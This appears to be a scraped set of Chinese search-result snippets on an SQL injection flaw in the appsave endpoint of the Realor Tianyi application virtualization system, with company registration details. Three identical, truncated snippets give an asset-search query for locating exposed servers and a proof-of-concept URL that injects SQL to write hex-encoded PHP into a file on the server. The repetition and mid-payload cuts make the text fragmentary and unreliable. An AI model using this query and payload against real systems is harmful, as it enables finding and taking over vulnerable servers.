谢谢!一、漏洞简述瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基...查看全文 相关企业信息 公司名称:西安瑞友信息技术资讯有限公司 法人代表:方浩 注册资本:1000万人民币 成立时间:1999-05-07 公司类型:有限责任公司(自然人投资或控股) 经营状态:开业 注册地址: 陕西省西安市高新...
瑞友天翼应用虚拟化系统是具有自主知识产权,基于服务器计算(Server-based Computing)架构的应用虚拟化平台。 2.漏洞描述 瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基于服务器计算(Server-based Computing)架构的应用虚拟化平台。瑞友天翼应用虚拟化系统存在SQL注入漏洞,攻击者可以利用此漏...
## 瑞友天翼应用虚拟化系统appsave接口存在SQL注入漏洞 ## hunter ``` app.name="REALOR 瑞友天翼虚拟化平台" ``` ## poc ``` http://xx.xx.xx.xx/hmrao.php?s=/Admin/appsave&appid=1%27);select%200x3c3f70687020706870696e666f28293b3f3e%20into%20outfile%20%27C:\Program%20Files%20(x86)\...
## 瑞友天翼应用虚拟化系统appsave接口存在SQL注入漏洞 ## hunter ``` app.name="REALOR 瑞友天翼虚拟化平台" ``` ## poc ``` http://xx.xx.xx.xx/hmrao.php?s=/Admin/appsave&appid=1%27);select%200x3c3f70687020706870696e666f28293b3f3e%20into%20outfile%20%27C:\Program%20Files%20(x86)\...
## 瑞友天翼应用虚拟化系统appsave接口存在SQL注入漏洞 ## hunter ``` app.name="REALOR 瑞友天翼虚拟化平台" ``` ## poc ``` http://xx.xx.xx.xx/hmrao.php?s=/Admin/appsave&appid=1%27);select%200x3c3f70687020706870696e666f28293b3f3e%20into%20outfile%20%27C:\Program%20Files%20(x86)\...